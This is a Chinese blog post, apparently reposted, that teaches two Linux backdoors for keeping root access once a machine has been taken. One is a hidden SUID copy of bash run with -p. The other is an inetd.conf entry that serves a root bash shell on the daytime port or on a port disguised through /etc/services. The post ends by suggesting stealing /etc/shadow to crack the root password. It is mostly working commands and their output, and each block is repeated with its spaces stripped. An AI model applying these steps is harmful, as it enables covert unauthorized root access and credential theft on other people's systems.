linux命令inetd,Linux后门的两种姿势(suid shell与inetd后门)

前提:

你现在已经是root用户, 想留一个后门以便日后再一次爆菊花。

系统环境:

Default

dawg:~# uname -a

Linux dawg 2.4.20-1-386 #3 Sat Mar 22 12:11:40 EST 2003 i686 GNU/Linux

1

2

dawg:~# uname -a

Linuxdawg2.4.20-1-386#3 Sat Mar 22 12:11:40 EST 2003 i686 GNU/Linux

1. SUID shell

关于SUID位的知识,请戳这里

首先, 先切换成为root用户,并执行以下的命令:

Default

dawg:~# cp /bin/bash /.woot

dawg:~# chmod 4755 /.woot

dawg:~# ls -al /.woot

-rwsr-xr-x 1 root root 690668 Jul 24 17:14 /.woot

1

2

3

4

dawg:~# cp /bin/bash /.woot

dawg:~# chmod 4755 /.woot

dawg:~# ls -al /.woot

-rwsr-xr-x1rootroot690668Jul2417:14/.woot

当然, 你也可以起其他更具备隐藏性的名字,我想猥琐并机智的你,肯定能想出很多好的名字的。文件前面的那一点也不是必要的,只是为了隐藏文件( 在文件名的最前面加上“.”,就可以在任意文件目录下进行隐藏) .

现在,做为一个普通用户,我们来启用这个后门:

Default

fw@dawg:~$ id

uid=1000(fw) gid=1000(fw) groups=1000(fw)

fw@dawg:~$ /.woot

.woot-2.05b$ id

uid=1000(fw) gid=1000(fw) groups=1000(fw)

.woot-2.05b$

1

2

3

4

5

6

fw@dawg:~$id

uid=1000(fw)gid=1000(fw)groups=1000(fw)

fw@dawg:~$/.woot

.woot-2.05b$id

uid=1000(fw)gid=1000(fw)groups=1000(fw)

.woot-2.05b$

法克!为什么不行呢?

因为 bash2 针对 suid有一些护卫的措施. 但这也不是不可破的:

Default

.woot-2.05b$ /.woot -p

.woot-2.05b# id

uid=1000(fw) gid=1000(fw) euid=0(root) groups=1000(fw)

1

2

3

.woot-2.05b$/.woot-p

.woot-2.05b# id

uid=1000(fw)gid=1000(fw)euid=0(root)groups=1000(fw)

使用-p参数来获取一个root shell. 这个euid的意思是 effective user id(关于这些ID的知识,可以戳这里)

这里要特别注意的是,作为一个普通用户执行这个SUID shell时,一定要使用全路径。

小知识:

如何查找那些具有 SUID 的文件:

Default

dawg:~# find / -perm +4000 -ls

1

dawg:~# find / -perm +4000 -ls

这时就会返回具有SUID位的文件啦。

2. 远程后门:利用 /etc/inetd.conf

我们使用vi来修改 /etc/inetd.conf 文件

原文件:

Default

#chargen dgram udp wait root internal

#discard stream tcp nowait root internal

#discard dgram udp wait root internal

#daytime stream tcp nowait root internal

1

2

3

4

#chargen dgram udp wait root internal

#discard stream tcp nowait root internal

#discard dgram udp wait root internal

#daytime stream tcp nowait root internal

修改为:

Default

#discard stream tcp nowait root internal

#discard dgram udp wait root internal

daytime stream tcp nowait root /bin/bash bash -i

1

2

3

#discard stream tcp nowait root internal

#discard dgram udp wait root internal

daytimestreamtcpnowaitroot/bin/bashbash-i

开启inetd:

Default

dawg:~# inetd

1

dawg:~#  inetd

如果要强制重启inetd:

Default

dawg:~# ps -ef | grep inetd

root 362 1 0 Jul22 ? 00:00:00 /usr/sbin/inetd

root 13769 13643 0 17:51 pts/1 00:00:00 grep inetd

dawg:~# kill -HUP 362

1

2

3

4

dawg:~# ps -ef | grep inetd

root36210Jul22?00:00:00/usr/sbin/inetd

root1376913643017:51pts/100:00:00grepinetd

dawg:~# kill -HUP 362

现在我们就可以用nc来爆菊了:

Default

C:tools<nc -vv 192.168.1.77 13

192.168.1.77: inverse host lookup failed: h_errno 11004: NO_DATA

(UNKNOWN) [192.168.1.77] 13 (daytime) open

bash: no job control in this shell

bash-2.05b# bash-2.05b#

bash-2.05b# id

uid=0(root) gid=0(root) groups=0(root)

bash-2.05b# uname -a

Linux dawg 2.4.20-1-386 #3 Sat Mar 22 12:11:40 EST 2003 i686 GNU/Linux

1

2

3

4

5

6

7

8

9

10

C:tools<nc-vv192.168.1.7713

192.168.1.77:inversehostlookupfailed:h_errno11004:NO_DATA

(UNKNOWN)[192.168.1.77]13(daytime)open

bash:nojobcontrolinthisshell

bash-2.05b# bash-2.05b#

bash-2.05b# id

uid=0(root)gid=0(root)groups=0(root)

bash-2.05b# uname -a

Linuxdawg2.4.20-1-386#3 Sat Mar 22 12:11:40 EST 2003 i686 GNU/Linux

小贴士:

我们来一招更贱的:

我们可以修改/etc/services文件,加入以下的东西:

Default

woot 6666/tcp #evil backdoor service

1

woot6666/tcp#evil backdoor service

然后修改/etc/inetd.conf  :

Default

woot stream tcp nowait root /bin/bash bash -i

1

wootstreamtcpnowaitroot/bin/bashbash-i

我们可以修改成一些常见的端口,以实现隐藏。

小编感言: 其实下 /etc/shadow文件,爆破root的密码才最保险啊!

【via@sy64_bing / 网络安全攻防研究室 团队】

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值